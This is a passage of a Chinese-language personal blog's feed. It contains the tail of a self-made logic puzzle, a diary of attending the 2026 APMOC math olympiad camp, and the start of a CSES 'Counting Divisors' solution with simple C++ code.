class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>x</mi><mo>+</mo><mi>y</mi></mrow><annotation encoding="application/x-tex">x+y</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6667em;vertical-align:-0.0833em;"></span><span class="mord mathnormal">x</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord mathnormal" style="margin-right:0.0359em;">y</span></span></span></span>告訴甲、<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>x</mi><mi>y</mi></mrow><annotation encoding="application/x-tex">xy</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord mathnormal">x</span><span class="mord mathnormal" style="margin-right:0.0359em;">y</span></span></span></span>告訴乙、<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>x</mi><mo>−</mo><mi>y</mi></mrow><annotation encoding="application/x-tex">x-y</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6667em;vertical-align:-0.0833em;"></span><span class="mord mathnormal">x</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord mathnormal" style="margin-right:0.0359em;">y</span></span></span></span>告訴丙。已知丙說實話，且在任一人開始說話前他不知道甲是否說實話。假設甲、乙、丙都是絕頂聰明的，能運用所有現有知識做出盡可能多的推論，現在，他們開始以下對話：</p><p>甲：乙不知道這兩個數是什麼<br>丙：我知道這兩個數是什麼了</p><p>請問，這兩數可能是什麼？</p><p><em><strong>答案留作讀者練習~</strong></em></p>]]>
    </content>
    <id>https://r3xdj.pages.dev/2026/06/24/%E6%95%B8%E5%AD%97%E7%8B%BC%E4%BA%BA%E6%AE%BA%EF%BC%9A%E4%B8%80%E9%81%93%E7%B5%90%E5%90%88%E3%80%8C%E5%AF%A6%E8%A9%B1%E8%AC%8A%E8%A9%B1%E5%88%A4%E6%96%B7%E3%80%8D%E8%88%87%E3%80%8C%E5%92%8C%E8%88%87%E7%A9%8D%E5%95%8F%E9%A1%8C%E3%80%8D%E7%9A%84%E7%B2%BE%E5%BD%A9%E8%87%AA%E7%B7%A8%E9%82%8F%E8%BC%AF%E9%A1%8C/</id>
    <link href="https://r3xdj.pages.dev/2026/06/24/%E6%95%B8%E5%AD%97%E7%8B%BC%E4%BA%BA%E6%AE%BA%EF%BC%9A%E4%B8%80%E9%81%93%E7%B5%90%E5%90%88%E3%80%8C%E5%AF%A6%E8%A9%B1%E8%AC%8A%E8%A9%B1%E5%88%A4%E6%96%B7%E3%80%8D%E8%88%87%E3%80%8C%E5%92%8C%E8%88%87%E7%A9%8D%E5%95%8F%E9%A1%8C%E3%80%8D%E7%9A%84%E7%B2%BE%E5%BD%A9%E8%87%AA%E7%B7%A8%E9%82%8F%E8%BC%AF%E9%A1%8C/"/>
    <published>2026-06-24T06:25:21.000Z</published>
    <summary>一道自編的邏輯推理題目，結合了經典的「實話謊話判斷」和「和與積問題」，題目的分析複雜而有趣。</summary>
    <title>數字狼人殺：一道結合「實話謊話判斷」與「和與積問題」的精彩自編邏輯題</title>
    <updated>2026-06-24T06:25:21.000Z</updated>
  </entry>
  <entry>
    <author>
      <name>R3X DJ</name>
    </author>
    <category term="Journey" scheme="https://r3xdj.pages.dev/categories/Journey/"/>
    <category term="math" scheme="https://r3xdj.pages.dev/tags/math/"/>
    <category term="apmoc" scheme="https://r3xdj.pages.dev/tags/apmoc/"/>
    <content>
      <![CDATA[<p>為什麼時隔那麼久突然想回來寫APMOC的心得呢？其實我每次參與活動都會想記錄下來，但常常都很懶然後日記就根本沒寫或寫一半，所以就藉著最近剛建Blog想發點東西時順便把它紀錄下來~</p><h1 id="%E5%88%9D%E9%81%B8%E7%AC%AC%E4%B8%80%E9%9A%8E%E6%AE%B5" tabindex="-1">初選第一階段</h1><p>這件事要從我高三報名數奧初選第一階段開始說起，這是我第二次報名數奧初選，考場在建中。在那之前，我已多次前往建中，幾乎每次都是去考試：考科學班、數奧初選、物奧初選、物奧研討、物奧複選，所以對交通應已不陌生。中正紀念堂二號出口出來轉個彎，從南門市場開始一路直走，途經許多店家，再行過一天橋，不用多久便抵達。我國中(有印象以來)第一次抵達建中便感受到一股不凡的氣場，那是一種和建中制服卡其色相似的典雅，令人為之一顫。</p><p>下了捷運，循著熟悉的路卻見整修中的二號出口——此路不通，而我是唯一一個發楞的人。時間在手腕上的錶中跳動，我能繼續等待嗎？突然，一個熟悉的身影呼嘯而過，我追趕而上。他是我們班的數學大佬——鼎鼎大名的呂博士。於是我跟隨他自一旁的出口脫困(即使那條其實是遠路)，在我完全陌生的街道奔跑著。</p><p>倒數計時，奔跑化為衝刺，最終如兩支標槍射入數學的殿堂。鐘響，時間剛好。<br>在喘氣和汗流之下寫數學，是名副其實的「酣暢淋漓」，筆尖同呼吸起伏，引領思緒跳動。第一題是課內排列組合，細心些便能拿到。第三題求最大值，我想起專題研究課教的算幾不等式，其中有待定係數的技巧，在與科西不等式搭配使用，最終求出了答案。至此心跳大概也已緩和。剩下的題目便沒那麼順利了，印象中是第二題我觀察了好一陣子，才發現其實考點很簡單。非選一考了離散的證明，我絞盡腦汁地胡言亂語，結合了數學歸納法與歸謬證法(我隨後和同學戲稱此為數學歸謬法)，竟出乎意料拿滿了7分。就這樣，28分，PR97.5，進入第二階段。</p><blockquote><p>11/28/2025<br>The bell rang, marking the end of a school day. I lazily reached for my phone and saw an email notification pop up on the screen. I opened it without hesitation. It was a message from the Office of Taiwan Mathematical Olympiad, informing me that I had passed the first stage of the competition. Attached to the email were several collections of lecture notes on different topics, including algebra, geometry, number theory, and discrete mathematics. These materials were especially fascinating to me, a math enthusiast.</p><p>Frankly speaking, I hadn’t expected to pass the test. Similar to last year, I hadn’t done much practice, and my mindset was simple: participate with no pressure and have fun. I scored 28 out of 49, one more correct answer than last year. To my surprise, my performance was already in the top 3% of all the participants.</p><p>Gazing at the screen, a sense of satisfaction began to well up inside me. I knew that luck played a significant role in my success, but still, the experience was truly unforgettable.</p></blockquote><p>喔，因為是高三，我那時在練英文作文</p><h1 id="%E5%88%9D%E9%81%B8%E7%AC%AC%E4%BA%8C%E9%9A%8E%E6%AE%B5" tabindex="-1">初選第二階段</h1><p>初選第二階段為五題非選題，考4個小時，橫跨中午，因此有附餐盒(<s>耶 免費午餐</s>)。今年的題目出奇簡單，第一題甚至是高一課內基本題(但就是證明要寫嚴謹)，<s>但不知道為什麼附中只有我考過，我甚至是裸考的ㄟ</s>(沒關係，我的其他同學有學校推薦資格，啊呂博士是忘記來考)。我最終以總分27，PR89.9錄取APMOC。</p><blockquote><p>我有提早交卷，因為我會寫的都寫完了</p></blockquote><h1 id="apmoc" tabindex="-1">APMOC</h1><h2 id="%E5%89%8D%E4%B8%80%E5%A4%A9" tabindex="-1" id="前一天">前一天</h2><p>在APMOC的前一天，我在IG上認識了一個成功數資的學弟，看頭貼照片以貌取人一下感覺有些好感(I mean, 不是你們想的那個好感，不要誤會)，應該是個不錯的人，並從他的限動得知他也會去APMOC(學校推薦名額)。稍微聊一下覺得挺開心(畢竟我本來就很樂於認識新朋友)，於是，對於明日的APMOC又多了一層期待。</p><h2 id="%E7%AC%AC%E4%B8%80%E5%A4%A9" tabindex="-1" id="第一天">第一天</h2><p>活動第一天，我早上先和呂博士以及其他朋友前往科教館，為TISF布展，隨後一起去吃午餐，但他們選的那間餐廳太貴了我又不吃那些東西，於是我就在便利商店買了一個椒麻雞麵蹲在路邊吃(不知經過的路人作何感想XD)<br>13:14 (嗯？)時，學弟傳給我說他到了，我說太早了吧(14:00才開始報到)，他回</p><blockquote><p>對不起啦 我坐在學校最靠近門口的小七 但我看有幾個人到了（？</p></blockquote><p>然後 I’m like, 你幹嘛對不起啦……這學弟怎麼這麼可愛啦啊啊啊 o((&gt;ω&lt; ))o</p><p>見面之後我們交流了一下數學科展、競賽培訓，還有我說好跟他講的初選第二階段第五題的解法(ㄟ他聲音滿好聽的，就是……有點軟綿綿的那種感覺(???))</p><blockquote><p>題外，那題第五題，我們學校另一位數學電神看過題目馬上就抓出題目的Bug然後打了一個非預期解XD</p></blockquote><p>第一堂課是幾何，講位似。這堂課最大的收穫是我終於搞懂九點圓了！！！之前高一數專有教過，<s>但我那時後在打瞌睡w</s>。<br>晚餐之後是前國手分享，講一些數奧相關的經驗、文化。比如下面這個<br><img src="2026-06-19-14-14-02.png" alt=""></p><p>20:00開始搭遊覽車前往師大會館 aka 規格好一點但還是很爛的宿舍。我和呂博士與另一個麗山的人同房，那個麗山的同學是打程式競賽的，他有寫一個有趣的小遊戲(那好像是他專題做的東西？忘了XD)。這天晚上有什麼有趣的事情發生呢？</p><ul><li>呂博士帶了選修生物，但他根本沒有要考</li><li>就，討論學校課程之類的啊</li><li>玩遊戲(要動腦那種，像他寫的那個遊戲)</li><li>台灣的地震警報是最可怕的警報聲響</li><li><s>爆破鎖碼頻道的密碼(沒爆出來)</s></li></ul><h2 id="%E7%AC%AC%E4%BA%8C%E5%A4%A9" tabindex="-1" id="第二天">第二天</h2><p>我第二天坐在跟昨天一樣的位子。不過學弟跑去坐別的地方了w我的同學則完全坐在另一側。</p><p>組合課教鴿籠原理，很多題目在校內培訓都看過，就當複習。接著是一門休閒課程，叫「數學與AI」，我想說這我熟啊，畢竟AI可是我科展的研究器材之一(<s>還是說其實是共同作者</s>)，其實我現在已經忘記他在講什麼了。</p><p>下午數論課講貝爾川假定、柴比雪夫定理。像這種比較偏大學代數數論的東西我就比較喜歡XD其實我一直感覺很神奇，居然能用一些分析學的手段來研究離散的整數，像質數定理這種結論我就覺得很不可思議。緊接著是函數方程的課，但因為我太菜了聽得很吃力，感覺很累。</p><p>吃完晚餐(印象中是這天吃披薩？)又是國手分享時間，回答Slido上面的問題，感覺有時出現了一些我聽不懂的應該是IMOC的內梗。</p><p>今日的番外是我去廁所的路上看到某個樓梯的燈居然是紫色的，那個地方又很閾限，就把它拍下來了(然後大修圖)<br><img src="2026-06-19-11-50-32.png" alt=""></p><p>晚上我在遊覽車上和呂博士討論科展的東西，畢竟我們的習性就是賽前才在那邊抱佛腳。</p><blockquote><p>啊不是，我發現我忘記我們這天晚上討論什麼了<br>總之我記得是有研究出新東西、找到一些新解釋</p></blockquote><p>到會館後不久我跑去709房串房，也就是學弟的那一房。(也是聊得很開心)<br>然後居然有人曾經是林○家的學生XD</p><p>九點多回到616開始挑燈夜戰練科展，搞到非常晚。</p><h2 id="%E7%AC%AC%E4%B8%89%E5%A4%A9" tabindex="-1" id="第三天">第三天</h2><p>第三天就是累累的起床趕快弄一弄，9:30開始考TMO，當日早餐是麥當勞。<br>考試前我在走廊上看到了這個<br><img src="2026-06-19-11-44-54.png" alt="logic problem"><br>考試因為我也不會寫所以提早交卷了w跑到中庭練科展報告XD還有等學弟出來拍個照。</p><blockquote><p>btw 我沒問他能不能放這照片所以我把他碼掉了😎😈</p></blockquote><p>接著就是趕去科教館啦啊啊啊啊，去被教授電。</p><blockquote><p>笑死，前面寫得好像國文很好，結果後面放飛自我隨興寫</p></blockquote>]]>
    </content>
    <id>https://r3xdj.pages.dev/2026/06/19/2026-APMOC-%E5%BF%83%E5%BE%97/</id>
    <link href="https://r3xdj.pages.dev/2026/06/19/2026-APMOC-%E5%BF%83%E5%BE%97/"/>
    <published>2026-06-19T06:42:30.000Z</published>
    <summary>
      <![CDATA[<p>為什麼時隔那麼久突然想回來寫APMOC的心得呢？其實我每次參與活動都會想記錄下來，但常常都很懶然後日記就根本沒寫或寫一半，所以就藉著最近剛建Blog想發點東西時順便把它紀錄下來~</p>
<h1 id="%E5%88%9D%E9%81%B8%E7%AC%AC%E4%B8%8]]>
    </summary>
    <title>2026 APMOC 心得</title>
    <updated>2026-06-19T06:42:30.000Z</updated>
  </entry>
  <entry>
    <author>
      <name>R3X DJ</name>
    </author>
    <category term="OI" scheme="https://r3xdj.pages.dev/categories/OI/"/>
    <category term="CSES" scheme="https://r3xdj.pages.dev/categories/OI/CSES/"/>
    <category term="Mathematics" scheme="https://r3xdj.pages.dev/categories/OI/CSES/Mathematics/"/>
    <category term="C++" scheme="https://r3xdj.pages.dev/tags/C/"/>
    <category term="math" scheme="https://r3xdj.pages.dev/tags/math/"/>
    <category term="sieve" scheme="https://r3xdj.pages.dev/tags/sieve/"/>
    <content>
      <![CDATA[<blockquote><p>我把這題想太複雜了……<br>弄了個爛解</p></blockquote><h1 id="%E9%A1%8C%E7%9B%AE" tabindex="-1">題目</h1><ul><li>Time limit: 1.00 s</li><li>Memory limit: 512 MB</li></ul><p>Given <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>n</mi></mrow><annotation encoding="application/x-tex">n</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">n</span></span></span></span> integers, your task is to report for each integer the number of its divisors.<br>For example, if <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>x</mi><mo>=</mo><mn>18</mn></mrow><annotation encoding="application/x-tex">x=18</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">x</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">18</span></span></span></span>, the correct answer is <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>6</mn></mrow><annotation encoding="application/x-tex">6</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">6</span></span></span></span> because its divisors are <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>1</mn><mo separator="true">,</mo><mn>2</mn><mo separator="true">,</mo><mn>3</mn><mo separator="true">,</mo><mn>6</mn><mo separator="true">,</mo><mn>9</mn><mo separator="true">,</mo><mn>18</mn></mrow><annotation encoding="application/x-tex">1,2,3,6,9,18</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8389em;vertical-align:-0.1944em;"></span><span class="mord">1</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">2</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">3</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">6</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">9</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">18</span></span></span></span>.</p><table><thead><tr><th>Input</th><th>Output</th></tr></thead><tbody><tr><td>The first input line has an integer <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>n</mi></mrow><annotation encoding="application/x-tex">n</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">n</span></span></span></span>: the number of integers.<br/></td><td></td></tr><tr><td>After this, there are <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>n</mi></mrow><annotation encoding="application/x-tex">n</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">n</span></span></span></span> lines, each containing an integer <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>x</mi></mrow><annotation encoding="application/x-tex">x</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">x</span></span></span></span>.</td><td>For each integer, print the number of its divisors.</td></tr></tbody></table><p>Constraints</p><ul><li><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>1</mn><mo>≤</mo><mi>n</mi><mo>≤</mo><msup><mn>10</mn><mn>5</mn></msup></mrow><annotation encoding="application/x-tex">1 \le n \le 10^5</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.7804em;vertical-align:-0.136em;"></span><span class="mord">1</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">≤</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.7719em;vertical-align:-0.136em;"></span><span class="mord mathnormal">n</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">≤</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8141em;"></span><span class="mord">1</span><span class="mord"><span class="mord">0</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">5</span></span></span></span></span></span></span></span></span></span></span></li><li><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>1</mn><mo>≤</mo><mi>x</mi><mo>≤</mo><msup><mn>10</mn><mn>6</mn></msup></mrow><annotation encoding="application/x-tex">1 \le x \le 10^6</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.7804em;vertical-align:-0.136em;"></span><span class="mord">1</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">≤</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.7719em;vertical-align:-0.136em;"></span><span class="mord mathnormal">x</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">≤</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8141em;"></span><span class="mord">1</span><span class="mord"><span class="mord">0</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">6</span></span></span></span></span></span></span></span></span></span></span></li></ul><p>Example:</p><table><thead><tr><th>Input</th><th>Output</th></tr></thead><tbody><tr><td>3<br/>16<br/>17<br/>18</td><td>5<br/>2<br/>6</td></tr></tbody></table><p>以下我將我自己的解法和在網路上查到的解法全部整理在以下，並重述/重寫程式。</p><h1 id="%E8%A7%A3%E6%B3%95%E4%B8%80%EF%BC%9A%E6%9A%B4%E5%8A%9B%E7%9A%84%E4%B8%80%E5%80%8B%E4%B8%80%E5%80%8B%E5%88%A4%E6%96%B7%E6%98%AF%E4%B8%8D%E6%98%AF%E5%9B%A0%E6%95%B8" tabindex="-1">解法一：暴力的一個一個判斷是不是因數</h1><p>來源：<a href="https://hackmd.io/@winliu/Bkp2UPMop">CSES Problem Set — Counting Divisors 題解 - HackMD</a></p><p>想法：依序判斷<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>1</mn></mrow><annotation encoding="application/x-tex">1</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">1</span></span></span></span>~<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>x</mi></mrow><annotation encoding="application/x-tex">x</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">x</span></span></span></span>中的數能否整除<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>x</mi></mrow><annotation encoding="application/x-tex">x</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">x</span></span></span></span><br>優化：若<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>k</mi></mrow><annotation encoding="application/x-tex">k</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal" style="margin-right:0.0315em;">k</span></span></span></span>為<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>x</mi></mrow><annotation encoding="application/x-tex">x</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">x</span></span></span></span>的因數，則<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mfrac><mi>x</mi><mi>k</mi></mfrac></mrow><annotation encoding="application/x-tex">\frac{x}{k}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1.0404em;vertical-align:-0.345em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.6954em;"><span style="top:-2.655em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.0315em;">k</span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.394em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">x</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.345em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span></span></span></span>亦為<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>x</mi></mrow><annotation encoding="application/x-tex">x</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">x</span></span></span></span>的因數，所以實際上只要檢查到<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msqrt><mi>n</mi></msqrt></mrow><annotation encoding="application/x-tex">\sqrt{n}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1.04em;vertical-align:-0.2397em;"></span><span class="mord sqrt"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.8003em;"><span class="svg-align" style="top:-3em;"><span class="pstrut" style="height:3em;"></span><span class="mord" style="padding-left:0.833em;"><span class="mord mathnormal">n</span></span></span><span style="top:-2.7603em;"><span class="pstrut" style="height:3em;"></span><span class="hide-tail" style="min-width:0.853em;height:1.08em;"><svg xmlns="http://www.w3.org/2000/svg" width="400em" height="1.08em" viewBox="0 0 400000 1080" preserveAspectRatio="xMinYMin slice"><path d="M95,702c-2.7,0,-7.17,-2.7,-13.5,-8c-5.8,-5.3,-9.5,-10,-9.5,-14c0,-2,0.3,-3.3,1,-4c1.3,-2.7,23.83,-20.7,67.5,-54c44.2,-33.3,65.8,-50.3,66.5,-51c1.3,-1.3,3,-2,5,-2c4.7,0,8.7,3.3,12,10s173,378,173,378c0.7,0,35.3,-71,104,-213c68.7,-142,137.5,-285,206.5,-429c69,-144,104.5,-217.7,106.5,-221l0 -0c5.3,-9.3,12,-14,20,-14H400000v40H845.2724s-225.272,467,-225.272,467s-235,486,-235,486c-2.7,4.7,-9,7,-19,7c-6,0,-10,-1,-12,-3s-194,-422,-194,-422s-65,47,-65,47zM834 80h400000v40h-400000z"/></svg></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2397em;"><span></span></span></span></span></span></span></span></span>即可。</p><h2 id="ac-code" tabindex="-1" id="AC-Code">AC Code</h2><p>記得開long long</p><pre class="line-numbers language-cpp" data-language="cpp"><code class="language-cpp"><span class="token macro property"><span class="token directive-hash">#</span><span class="token directive keyword">include</span><span class="token string">&lt;bits/stdc++.h></span></span><span class="token keyword">using</span> <span class="token keyword">namespace</span> std<span class="token punctuation">;</span><span class="token macro property"><span class="token directive-hash">#</span><span class="token directive keyword">define</span> <span class="token macro-name">ll</span> <span class="token expression"><span class="token keyword">long</span> <span class="token keyword">long</span></span></span>ll <span class="token function">divnum</span><span class="token punctuation">(</span><span class="token keyword">int</span> x<span class="token punctuation">)</span><span class="token punctuation">&#123;</span>  <span class="token keyword">int</span> cnt<span class="token operator">=</span><span class="token number">0</span><span class="token punctuation">;</span>  <span class="token keyword">for</span><span class="token punctuation">(</span><span class="token keyword">int</span> i<span class="token operator">=</span><span class="token number">1</span><span class="token punctuation">;</span>i<span class="token operator">*</span>i<span class="token operator">&lt;=</span>x<span class="token punctuation">;</span>i<span class="token operator">++</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span>  <span class="token keyword">if</span><span class="token punctuation">(</span>x<span class="token operator">%</span>i<span class="token operator">==</span><span class="token number">0</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span>    cnt <span class="token operator">+=</span> <span class="token number">2</span><span class="token punctuation">;</span>  <span class="token punctuation">&#125;</span>  <span class="token keyword">if</span><span class="token punctuation">(</span>i<span class="token operator">*</span>i<span class="token operator">==</span>x<span class="token punctuation">)</span> cnt<span class="token operator">--</span><span class="token punctuation">;</span> <span class="token comment">// 這時i=x/i，所以i會被多算一次，故把他扣掉</span>  <span class="token punctuation">&#125;</span>  <span class="token keyword">return</span> cnt<span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span class="token keyword">int</span> <span class="token function">main</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span>  ios<span class="token double-colon punctuation">::</span><span class="token function">sync_with_stdio</span><span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">)</span><span class="token punctuation">,</span> cin<span class="token punctuation">.</span><span class="token function">tie</span><span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token keyword">int</span> n<span class="token punctuation">;</span>  cin <span class="token operator">>></span> n<span class="token punctuation">;</span>  <span class="token keyword">while</span><span class="token punctuation">(</span>n<span class="token operator">--</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span>  <span class="token keyword">int</span> x<span class="token punctuation">;</span>  cin <span class="token operator">>></span> x<span class="token punctuation">;</span>  cout <span class="token operator">&lt;&lt;</span> <span class="token function">divnum</span><span class="token punctuation">(</span>x<span class="token punctuation">)</span> <span class="token operator">&lt;&lt;</span> <span class="token string">"\n"</span><span class="token punctuation">;</span>  <span class="token punctuation">&#125;</span><span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><h2 id="%E8%A4%87%E9%9B%9C%E5%BA%A6" tabindex="-1" id="複雜度">複雜度</h2><h3 id="%E6%99%82%E9%96%93%E8%A4%87%E9%9B%9C%E5%BA%A6" tabindex="-1" id="時間複雜度">時間複雜度</h3><p>跑一次<code>divnum(x)</code>需要<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi mathvariant="normal">Θ</mi><mo stretchy="false">(</mo><msqrt><mi>x</mi></msqrt><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">\Theta(\sqrt{x})</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1.0503em;vertical-align:-0.25em;"></span><span class="mord">Θ</span><span class="mopen">(</span><span class="mord sqrt"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.8003em;"><span class="svg-align" style="top:-3em;"><span class="pstrut" style="height:3em;"></span><span class="mord" style="padding-left:0.833em;"><span class="mord mathnormal">x</span></span></span><span style="top:-2.7603em;"><span class="pstrut" style="height:3em;"></span><span class="hide-tail" style="min-width:0.853em;height:1.08em;"><svg xmlns="http://www.w3.org/2000/svg" width="400em" height="1.08em" viewBox="0 0 400000 1080" preserveAspectRatio="xMinYMin slice"><path d="M95,702c-2.7,0,-7.17,-2.7,-13.5,-8c-5.8,-5.3,-9.5,-10,-9.5,-14c0,-2,0.3,-3.3,1,-4c1.3,-2.7,23.83,-20.7,67.5,-54c44.2,-33.3,65.8,-50.3,66.5,-51c1.3,-1.3,3,-2,5,-2c4.7,0,8.7,3.3,12,10s173,378,173,378c0.7,0,35.3,-71,104,-213c68.7,-142,137.5,-285,206.5,-429c69,-144,104.5,-217.7,106.5,-221l0 -0c5.3,-9.3,12,-14,20,-14H400000v40H845.2724s-225.272,467,-225.272,467s-235,486,-235,486c-2.7,4.7,-9,7,-19,7c-6,0,-10,-1,-12,-3s-194,-422,-194,-422s-65,47,-65,47zM834 80h400000v40h-400000z"/></svg></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" 